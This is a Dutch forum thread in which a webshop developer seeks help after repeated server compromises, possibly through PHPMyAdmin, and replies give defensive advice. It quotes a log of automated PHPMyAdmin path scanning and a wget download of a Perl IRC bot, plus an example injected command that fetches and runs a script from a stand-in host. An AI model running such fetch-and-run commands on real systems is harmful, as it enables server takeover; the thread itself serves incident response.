Gehackt! > schuld host vs ontwikkelaar

25-11-2010, 11:11 door SirDice

; PHPMyAdmin is op ons verzoek maandagmiddag om 15:00 geïnstalleerd door onze host en minder dan 12 uur later kwam de eerste hacker / hackbot binnen. Dinsdagnacht zijn we opnieuw gehacked.

En dan denk je niet bij jezelf "misschien komt het wel door PHPMyAdmin"?

Doe jezelf een lol en verwijder dat spul. Het is regelmatig lek.

25-11-2010, 11:16 door Anoniem

SirDice,

Dat is natuurlijk onze hoofdverdachte. Ik kan me echter niet voorstellen dat iets wat gebruikt wordt door miljoenen dusdanig open staat voor hacks. Afgezien van het feit dat we niet zeker weten dat het hierdoor wordt veroorzaakt; het zou toeval kunnen zijn.

Is er een manier om te achterhalen dat het inderdaad met PHPMyAdmin te maken heeft?

Thanks voor de snelle reply!

David

25-11-2010, 11:25 door SirDice

Door Anoniem: k kan me echter niet voorstellen dat iets wat gebruikt wordt door miljoenen dusdanig open staat voor hacks.

Enig idee hoeveel sites er per dag gekraakt worden?

Is er een manier om te achterhalen dat het inderdaad met PHPMyAdmin te maken heeft?

Waarschijnlijk wel. Door heel goed de web logging te bekijken.

25-11-2010, 11:27 door Anoniem

"PHPMyAdmin"

Daar zit je probleem, je moet nooit PHPMyAdmin of een forum onder de zelfde gebruiker draaien als een shop of administratie systeem! http://www.pfz.nl/wiki/apache-veilig-maken/#web-bestanden-onder-de-juiste-gebruiker-uitvoeren

"safe_mode = On"
Safe-mode is een wassen neus.
http://www.pfz.nl/wiki/safe-mode/

"PHP 5.2: "
Ik neem aan dat deze wel helemaal up-to-date is?

25-11-2010, 11:39 door Anoniem

je wil niet weten hoe makkelijk het soms is om ergens binnen te komen. Een verantwoordelijke aanwijzen is ook niet altijd makkelijk. Als je met een hoster afspreeekt: jullie zijn verantwoordelijk voor de security, dan heb je misschien wat. Maar vaak ben je daar gewoon zelf verantwoordelijk voor, en instaleren ze dingen voor je (phpmyadmin is een mooi voorbeeld) op verzoek. maar dat betekend nog niet dat ze per definitie verantwoordelijk zijn.

Om een leuk voorbeeld te noemen:
ik had een bedrijf gewaarschuwd voor de patches te zorgen (20 keer ofzo). En dat ik het voor m'n standaard uurtarief ook wilde doen voor ze als hun systeembeheer (windows club) er niet uit kwam. Of, dat ik hun systeembeheerders een training zou geven zodat ze 't zelf zouden kunnen. Niets van gekomen.

Uiteindelijk is die server te pakken genomen via een lekke joomla, en geroot via een exploit in selinux (jaja). Vervolgens heeft de snurker in kwestie ook nog een openssh-server met backdoor geinstalleerd. Het was een erg leuk klusje om dat allemaal uit te zoeken. En nog leuker om ze vervolgens buiten de deur te houden. (en de twijfel blijft altijd knagen: hebben ze een rootkit geinstalleerd?)

In jouw geval zou ik me minder bezighouden met : wie krijgt de schuld, en meer met: waar zit het lek. Neem eventueel een goeie security analyst in de arm, die een neus heeft voor dat soort dingen. Daarna kun je eens kijken of je wat mensen kunt gaan schoppen en wellicht een andere hoster in de arm moet gaan nemen.

25-11-2010, 11:47 door Anoniem

Paar kleine dingetjes:

- Heb je een pentest uit laten voeren?
- Is alle software op je VPS geupdate?
- WAAROM zet je een bedijfscritisch product aan het internet? Je ERP bedoel ik in dit geval. Als je website hacked wordt is het ook mogelijk dat je ERP aangevallen wordt.
- Gooi PHPMyAdmin direct van de server af. Dit is vragen om problemen want zelden wordt dit goed (en veilig) geconfigureerd
- Controleer je logs en, als het mogelijk is, laat de logs naar een eigen server (niet op de webserver) loggen
- Gezien je meerdere malen gehacked bent, waarom zet je steeds weer de originele website terug? Je weet dat het lek is. Eerst fixen, daarna terugzetten.

25-11-2010, 12:23 door Anoniem

Thanks! Alle feedback wordt zeer gewaardeerd!

Is er een manier om te achterhalen dat het inderdaad met PHPMyAdmin te maken heeft?
Waarschijnlijk wel. Door heel goed de web logging te bekijken.

Tips waar we op kunnen letten?

PHP 5.2; Ik neem aan dat deze wel helemaal up-to-date is?

Yep!

Neem eventueel een goeie security analyst in de arm, die een neus heeft voor dat soort dingen. Daarna kun je eens kijken of je wat mensen kunt gaan schoppen en wellicht een andere hoster in de arm moet gaan nemen.

Applying for a job? :) Zijn er goede (freeware) tools beschikbaar die dit soort dingen kunnen monitoren & tracen?

- Heb je een pentest uit laten voeren?
- Is alle software op je VPS geupdate?
- WAAROM zet je een bedijfscritisch product aan het internet? Je ERP bedoel ik in dit geval. Als je website hacked wordt is het ook mogelijk dat je ERP aangevallen wordt.
- Gooi PHPMyAdmin direct van de server af. Dit is vragen om problemen want zelden wordt dit goed (en veilig) geconfigureerd
- Controleer je logs en, als het mogelijk is, laat de logs naar een eigen server (niet op de webserver) loggen
- Gezien je meerdere malen gehacked bent, waarom zet je steeds weer de originele website terug? Je weet dat het lek is. Eerst fixen, daarna terugzetten.

1. We hebben twee open source tooltjes laten draaien op onze code, waarbij een klein deel overlap is met een volbloed pentest. Mocht je tips hebben voor het juist uitvoeren van een dergelijke test zonder dat ik hiervoor duizenden euro's opzij moet zetten, dan hoor (lees) ik dat graag!
2. Voor zover ik op de hoogte ben wel, in ieder geval geen grote achterstanden. Probleem is dat, wanneer je alles 100% up-to-date wilt houden, je volle dagen bezig bent met het in de gaten houden, installeren, testen, aanpassen, retesten, etc van je ontwikkelde applicatie(s).
3. De logica voor de geïntegreerde ERP software is simpel; efficiency. Hier gaan we allemaal naartoe in de nabije toekomst. Onderhoud gebeurd nu doorgaans op twee plaatsen; ERP en vervolgens moet je dezelfde info invullen in je webshop backend systeem; dit is niet efficiënt. De grote jongens (grote internet-warenhuizen) hebben deze koppeling ook. De jongens bij Bol printen echt niet mijn bestelling van het boek "web-beveiliging voor dummies" uit om het vervolgens in hun ERP systeem handmatig in te voeren.
4. Consider it done!
5. Goede tip; ik heb namelijk begrepen dat hackers altijd proberen de logs op te schonen om de sporen te wissen. Als de log ook wordt bijgehouden op een andere server is dat wellicht een stuk lastiger voor ze.
6. We zijn er vanuit gegaan dat de vorige hack te maken had met algemene server-config en firewall settings > niet zozeer met de applicaties. Inmiddels weten we (dankzij jullie!) dat PHPMyAdmin zo lek als de titanic is. Begrijp echter, dat het voor ontwikkelaars die zich nooit eerder bezig hebben gehouden met beveiligings-issues, het een zwaar en pijnlijk leerproces is. In beginsel weet je niet waar je moet zoeken (behalve op security.nl ;))

Nogmaals thanks voor de replies!

25-11-2010, 12:49 door Anoniem

1. Gebruik Nessus om de server updates te controleren en Acunetix, Nikto of andere scanner voor de web-kant.
2. Ja, updates kunnen tijd kosten. Het compleet inrichten van je systeem en nabellen van je klantenbestand omdat een hacker je database gemirrored heeft kost reputatie. Wat kost meer geld? Als je niet zeer veel tijd wil spenderen aan testen van updates, zorg er voor dat je 2 systemen hebt. Update je hoofdsysteem. Gaat het stuk, stuur door naar de tweede. Gaat het goed, update de tweede na een week of zo met dezelfde patches. VMWare en dergelijke is hier ideaal voor.
3. Ik kan mij best voorstellen dat ze het samenvoegen. Maar ze zorgen er wel eerst voor dat hun site veilig is. En zeer beperkt toegang tot de ERP (een of twee goed afgeschermde SOAP/XML API's waarschijnlijk, niet meer).
4. Mooi :)
5. Ze proberen inderdaad alle logs te verwijderen om hun sporen te wissen. Wat je eventueel ook kan doen is een logging shell installeren als default shell. Als je gehacked wordt zie je dan meteen welke commando's er uitgevoerd worden. Ook handig als je wil zien wat beheerders op je server doen.
6. Ontwikkelaars zouden zich eigenlijk vanaf dag 1 bezig moeten houden met security: je klant heeft er niets aan als hij continu gehacked wordt. Helaas leer je op school (meestal) helemaal niets over security. Het enige dat op mijn school op gelet werd was of er niet al te gruwelijk veel memleaks in zaten....Je kan wel eisen dat zij hier goed rekening mee houden en vragen wat voor methodes zij gebruiken om software veilig te maken en houden. Ook kan je in het contract bijhouden dat zij gedurende X jaar security issues op eigen kosten fixen (zal wel iets meer kosten).

25-11-2010, 13:27 door SirDice

Door Anoniem: Thanks! Alle feedback wordt zeer gewaardeerd!

Is er een manier om te achterhalen dat het inderdaad met PHPMyAdmin te maken heeft?
Waarschijnlijk wel. Door heel goed de web logging te bekijken.

Tips waar we op kunnen letten?

Yep, "vage" requests. Maar dat zegt je waarschijnlijk ook niet zo veel ;)

5. Goede tip; ik heb namelijk begrepen dat hackers altijd proberen de logs op te schonen om de sporen te wissen. Als de log ook wordt bijgehouden op een andere server is dat wellicht een stuk lastiger voor ze.

De meeste "hacks" gebeuren tegenwoordig volledig automatisch en men neemt niet de moeite om sporen uit te wissen. De "aanvaller" is over het algemeen namelijk een andere, al eerder gekraakte, server.

6. We zijn er vanuit gegaan dat de vorige hack te maken had met algemene server-config en firewall settings > niet zozeer met de applicaties. Inmiddels weten we (dankzij jullie!) dat PHPMyAdmin zo lek als de titanic is. Begrijp echter, dat het voor ontwikkelaars die zich nooit eerder bezig hebben gehouden met beveiligings-issues, het een zwaar en pijnlijk leerproces is. In beginsel weet je niet waar je moet zoeken (behalve op security.nl ;))

Veruit het merendeel van de hacks worden tegenwoordig op applicatie niveau gedaan. Er zijn maar weinig exploits die zich daadwerkelijk op de server zelf (apache, php, etc) richten.

Voor wat betreft de web applicatie kan ik je toch aanraden om eens een code audit uit te laten voeren. Met even een paar tooltjes los laten op je web applicatie ben je er vaak niet. De web applicatie zal netjes alle invoer moeten kontroleren. Het credo hierbij is testen op wat je wilt hebben en de rest verwijderen. Nooit en te nimmer er vanuit gaan dat wat een client naar je applicatie stuurt ook daadwerkelijk correct is.

25-11-2010, 13:31 door Anoniem

Door Anoniem:
1. We hebben twee open source tooltjes laten draaien op onze code, waarbij een klein deel overlap is met een volbloed pentest. Mocht je tips hebben voor het juist uitvoeren van een dergelijke test zonder dat ik hiervoor duizenden euro's opzij moet zetten, dan hoor (lees) ik dat graag!

Twee tooltjes?

Sorry maar ik zou iets wat voor geprogrammeerd is niet boven een persoon zetten.

Elke dag komen er andere exploits en lekken tooltjes blijven niet up to date.

Ik denk echt dat het beter is om het door een proffesioneel persoon te laten testen.

Gr

25-11-2010, 13:42 door eMilt

Wat ook helpt is om PHPMyAdmin in een andere folder dan de standaard folder te plaatsen. Gebruik gewoon iets onzinnigs als "h4m2b6" of zo. Maakt voor jezelf niks uit maar bots zullen dat niet vinden natuurlijk (zolang je er maar niet naar linkt en ook niet opnemen in je robots.txt). Verder kan je de folder van PHPMyAdmin ook op webserver niveau met een gebruikersnaam/wachtwoord afschermen, los van de login van PHPMyAdmin zelf. Mocht er dan een lek in PHPMyAdmin bekend zijn dan biedt die gebruikersnaam/wachtwoord een extra beschermingslaag.

25-11-2010, 13:54 door Anoniem

die eerste heeft toch al gauw 250 botjes op ze irc kanaal ^_^

25-11-2010, 14:42 door Anoniem

Als jij, een van de ontwikkelaars of wie dan ook een trojan op z'n pc heeft staan die de wachtwoorden voor FTP richting rusland of zoiets doorsluist, dan heeft ook dat weinig zin en ben je zo weer gehacked.
Zou via de logging gaan kijken wat er precies is gebeurt (zowel PHP als FTP en SSH of weet ik verder veel wat er open staat aan logging), en aan de hand daarvan maatregelen treffen.

25-11-2010, 14:49 door Anoniem

Door Anoniem:
Applying for a job? :) Zijn er goede (freeware) tools beschikbaar die dit soort dingen kunnen monitoren & tracen?

Als ik zou applyen voor de job zou ik dat niet anoniem doen he? ;)

Ik zou software tools niet preferen boven menselijk inzicht in dit soort zaken. Juist omdat er al een aantal malen fouten gemaakt zijn, en daardoor de boel weer gehacked is. Dat soort 'repeats' zijn zorgwekkend.

25-11-2010, 15:10 door backeroni

Die log laat zien hoe er van binnenuit een connectie wordt gemaakt en de 2 bestandjes 'dude' en 'half.txt' worden opgehaald die dan vervolgens gesaved (kunnen) worden en waarschijnlijk ook nog uitgevoerd.
Wat ik dus graag zou willen weten is wat ervoor in het log staat, het lek is namelijk het feit dat de opdracht kon worden gegeven om de bestandjes te downloaden, niet het downloaden zelf.
Daarnaast kunnen de bestandjes dus ook gesaved worden, dus hoe kan het dat de user waar dit allemaal onder draait (user apache bv) zo veel schrijf rechten heeft.
Als laatste om de server over te nemen zullen de bestandjes ook nog eens uitgevoerd moeten worden, op de plek waar de bestandjes terecht komen heeft de desbetreffende user dus ook nog eens execute rechten.
Al met al is de server dus slecht geconfigureerd en dat staat los van PHPMyAdmin, die zorgt er immers niet voor dat een user op een bepaalde directory schrijf en execute rechten heeft.
Dus vraag 1 van waar/wat uit is de opdracht gegeven de bestandjes te downloaden.
Vraag 2 in welke directory zijn ze terecht gekomen.

25-11-2010, 15:49 door Anoniem

Zou je misschien de naam van de webshop kunnen geven? Dan weet ik waar ik mijn persoonsgegevens NIET moet achterlaten. Sorry hoor, maar het hele verhaal komt erg amateuristisch over; bovendien erg kwalijk dat een bewezen lekke site opnieuw online gezet wordt.

25-11-2010, 16:49 door SirDice

Door backeroni: Daarnaast kunnen de bestandjes dus ook gesaved worden, dus hoe kan het dat de user waar dit allemaal onder draait (user apache bv) zo veel schrijf rechten heeft.

Veel CMS software vereist schrijfrechten in diverse directories. En zelfs als dat niet het geval zou zijn kan er altijd nog in /tmp geschreven worden.

Als laatste om de server over te nemen zullen de bestandjes ook nog eens uitgevoerd moeten worden, op de plek waar de bestandjes terecht komen heeft de desbetreffende user dus ook nog eens execute rechten.

Afhankelijk waar deze bestanden terecht komen is het mogelijk om dat via een command injection te doen. Zowel "dude" als "half.txt" zijn IRC shell bots geschreven in perl. In tegenstelling tot wat de meeste zullen denken heeft de www gebruiker voldoende rechten om deze uit te voeren. Een manier die ik wel eens gezien heb is om, middels een command injection, het volgende uit te laten voeren:

cd /tmp ; wget http://evil.example.com/badscript.txt ; perl badscript.txt

Aan de OP, als aanvullende beveiliging zou ik er voor zorgen dat de webserver zelf geen connecties naar het internet kan maken. Of, indien er toch een verbinding vanaf de webserver gemaakt moeten worden, deze zwaar inperken. Dat is eenvoudig te regelen op een firewall.

25-11-2010, 17:22 door Anoniem

Dus vraag 1 van waar/wat uit is de opdracht gegeven de bestandjes te downloaden.
Vraag 2 in welke directory zijn ze terecht gekomen.

@Backeroni; ik kan daar geen zinnig woord over zeggen. Zoals je inmiddels gemerkt zult hebben, ben ik geen technische jongen. Onze host laat ons in de steek wat betreft advisering en begeleiding, dus helaas heb ik de verantwoordelijkheid om deze situatie onder controle te krijgen. Ik quote hieronder hetgeen hieraan vooraf ging. Misschien dat je hier iets uit op kunt maken?

Wat betreft de schrijf-rechten; Magento draait niet zonder dat er voor een aantal mappen de rechten volledig open staan.

[Tue Nov 23 00:37:17 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/w00tw00t.at.blackhats.romanian.anti-sec:)
[Tue Nov 23 00:37:18 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/3rdparty
[Tue Nov 23 00:37:19 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/PHPMYADMIN
[Tue Nov 23 00:37:22 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/PMA2005
[Tue Nov 23 00:37:23 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/SQL
[Tue Nov 23 00:37:24 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/SSLMySQLAdmin
[Tue Nov 23 00:37:24 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/admin
[Tue Nov 23 00:37:25 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/admin
[Tue Nov 23 00:37:25 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/admin
[Tue Nov 23 00:37:26 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/bbs
[Tue Nov 23 00:37:27 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpadmin
[Tue Nov 23 00:37:27 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpadmindb
[Tue Nov 23 00:37:28 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpanelmysql
[Tue Nov 23 00:37:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpanelsql
[Tue Nov 23 00:37:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpdbadmin
[Tue Nov 23 00:37:33 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/cpphpmyadmin
[Tue Nov 23 00:37:37 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/dbadmin
[Tue Nov 23 00:37:37 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/myadmin
[Tue Nov 23 00:37:38 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/mysql-admin
[Tue Nov 23 00:37:39 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/mysql
[Tue Nov 23 00:37:39 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/mysqladmin
[Tue Nov 23 00:37:40 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/mysqladminconfig
[Tue Nov 23 00:37:40 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/mysqlmanager
[Tue Nov 23 00:37:41 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/p
[Tue Nov 23 00:37:42 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/pMA
[Tue Nov 23 00:37:42 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/php-my-admin
[Tue Nov 23 00:37:43 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/php-myadmin
[Tue Nov 23 00:37:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.2.6
[Tue Nov 23 00:37:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.1
[Tue Nov 23 00:37:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.4
[Tue Nov 23 00:37:49 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5-pl1
[Tue Nov 23 00:37:49 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5-rc1
[Tue Nov 23 00:37:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5-rc1config
[Tue Nov 23 00:37:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5-rc2
[Tue Nov 23 00:37:51 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.5
[Tue Nov 23 00:37:52 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.6-rc1
[Tue Nov 23 00:37:52 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.6-rc2
[Tue Nov 23 00:37:53 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.6
[Tue Nov 23 00:37:54 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.7-pl1
[Tue Nov 23 00:37:54 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.5.7
[Tue Nov 23 00:37:55 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-alpha
[Tue Nov 23 00:37:56 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-alpha2
[Tue Nov 23 00:37:56 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-beta1
[Tue Nov 23 00:37:57 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-beta2
[Tue Nov 23 00:37:58 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-pl1
[Tue Nov 23 00:37:58 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-pl2
[Tue Nov 23 00:37:59 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-pl3
[Tue Nov 23 00:37:59 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-rc1
[Tue Nov 23 00:38:00 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-rc2
[Tue Nov 23 00:38:01 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0-rc3
[Tue Nov 23 00:38:01 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.0
[Tue Nov 23 00:38:02 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.1-pl1
[Tue Nov 23 00:38:06 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.1-pl3
[Tue Nov 23 00:38:06 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.1-rc1
[Tue Nov 23 00:38:07 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.1-rc2
[Tue Nov 23 00:38:08 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.1
[Tue Nov 23 00:38:08 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.2-beta1
[Tue Nov 23 00:38:09 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.2-pl1
[Tue Nov 23 00:38:09 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.2-rc1
[Tue Nov 23 00:38:10 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.2
[Tue Nov 23 00:38:14 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.3-rc1
[Tue Nov 23 00:38:14 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.3
[Tue Nov 23 00:38:15 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4-pl1
[Tue Nov 23 00:38:16 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4-pl2
[Tue Nov 23 00:38:16 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4-pl3
[Tue Nov 23 00:38:17 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4-pl4
[Tue Nov 23 00:38:18 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4-rc1
[Tue Nov 23 00:38:18 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.6.4
[Tue Nov 23 00:38:19 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.7.0-beta1
[Tue Nov 23 00:38:20 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.7.0-pl1
[Tue Nov 23 00:38:20 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.7.0-pl2
[Tue Nov 23 00:38:21 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.7.0-rc1
[Tue Nov 23 00:38:22 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.7.0
[Tue Nov 23 00:38:22 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0-beta1
[Tue Nov 23 00:38:23 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0-rc1
[Tue Nov 23 00:38:24 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0-rc2
[Tue Nov 23 00:38:24 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0.1
[Tue Nov 23 00:38:25 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0.2
[Tue Nov 23 00:38:25 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0.3
[Tue Nov 23 00:38:26 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0.4
[Tue Nov 23 00:38:27 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.0
[Tue Nov 23 00:38:27 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.1-rc1
[Tue Nov 23 00:38:28 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.1
[Tue Nov 23 00:38:29 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2.8.2
[Tue Nov 23 00:38:29 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin-2
[Tue Nov 23 00:38:31 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpMyAdmin2
[Tue Nov 23 00:38:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpadmin
[Tue Nov 23 00:38:32 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmanager
[Tue Nov 23 00:38:33 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmy-admin
[Tue Nov 23 00:38:34 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmya
[Tue Nov 23 00:38:35 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmyadmin1
[Tue Nov 23 00:38:36 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/phpmyadmin2
[Tue Nov 23 00:38:36 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/pma
[Tue Nov 23 00:38:37 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/pma2005
[Tue Nov 23 00:38:38 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/roundcube
[Tue Nov 23 00:38:38 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/scripts
[Tue Nov 23 00:38:39 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/sl2
[Tue Nov 23 00:38:40 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/sqladmin
[Tue Nov 23 00:38:40 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/sqlmanager
[Tue Nov 23 00:38:41 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/sqlweb
[Tue Nov 23 00:38:41 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/typo3
[Tue Nov 23 00:38:42 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/web
[Tue Nov 23 00:38:43 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/web
[Tue Nov 23 00:38:43 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/webadmin
[Tue Nov 23 00:38:47 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/websql
[Tue Nov 23 00:38:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/xampp
[Tue Nov 23 00:38:48 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:49 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:50 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:51 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:52 2010] [error] [client 124.207.164.225] File does not exist: /var/www/html/~
[Tue Nov 23 00:38:52 2010] [error] [client 124.207.164.225] Invalid URI in request GET :2086/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Tue Nov 23 00:38:53 2010] [error] [client 124.207.164.225] Invalid URI in request GET :2087/3rdparty/phpMyAdmin/scripts/setup.php HTTP/1.1
[Tue Nov 23 00:38:54 2010] [error] [client 124.207.164.225] Invalid URI in request GET :81/phpmyadmin/scripts/setup.php HTTP/1.1
--2010-11-23 01:42:10-- http://w00t.zxq.net/dude
Resolving w00t.zxq.net... 67.220.217.230
Connecting to w00t.zxq.net|67.220.217.230|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28992 (28K) [text/plain]
Saving to: `dude'

0K .......... .......... ........ 100% 60.9K=0.5s

Zou je misschien de naam van de webshop kunnen geven? Dan weet ik waar ik mijn persoonsgegevens NIET moet achterlaten. Sorry hoor, maar het hele verhaal komt erg amateuristisch over; bovendien erg kwalijk dat een bewezen lekke site opnieuw online gezet wordt.

Bedankt voor je "opbouwende" kritiek. Drie punten voor jou: (1) De webshop is nog niet live, we zitten in een testfase > oftewel we hebben geen enkele consument "exposed" en lossen dit op voordat de shop live gaat, (2) amateuristisch; tja.. we kunnen niet allemaal experts zijn op alle gebieden > waarom denk je dat ik hier om raad vraag? en (3) wees blij dat wij de log's controleren en ons hierin verdiepen! Ik heb vandaag nog gelezen dat een 50% van de websites geen tests uitvoert en niets controleert, 30% weet niet of er zich ooit een veiligheidsincident heeft voorgedaan. Dus 1 op de 2 websites houdt zich hier niet eens mee bezig!! met alle gevolgen van dien.. ik denk dat je heel erg graag bij onze webshop zult shoppen later in de wetenschap dat wij in ieder geval de moeite nemen om het veilig te maken voor de consument!

Bedankt voor alle feedback weer! ..keep 'm comin' ! :)

25-11-2010, 17:38 door backeroni

Afhankelijk waar deze bestanden terecht komen is het mogelijk om dat via een command injection te doen. Zowel "dude" als "half.txt" zijn IRC shell bots geschreven in perl. In tegenstelling tot wat de meeste zullen denken heeft de www gebruiker voldoende rechten om deze uit te voeren. Een manier die ik wel eens gezien heb is om, middels een command injection, het volgende uit te laten voeren:

cd /tmp ; wget http://evil.example.com/badscript.txt ; perl badscript.txt

Zoals ik al zei is het feit dat het commando uberhaupt gegeven kan worden, en niet afgevangen is, het feitelijke lek.
Waar dat dan is gegeven haal ik helaas niet uit het bijgevoegde log maar ik betwijfel of dat PHPMyAdmin is.

25-11-2010, 17:38 door Anoniem

Persoonlijk ben ik een fan van phpmyadmin. Mijn beveiliging echter om dit af te schermen.

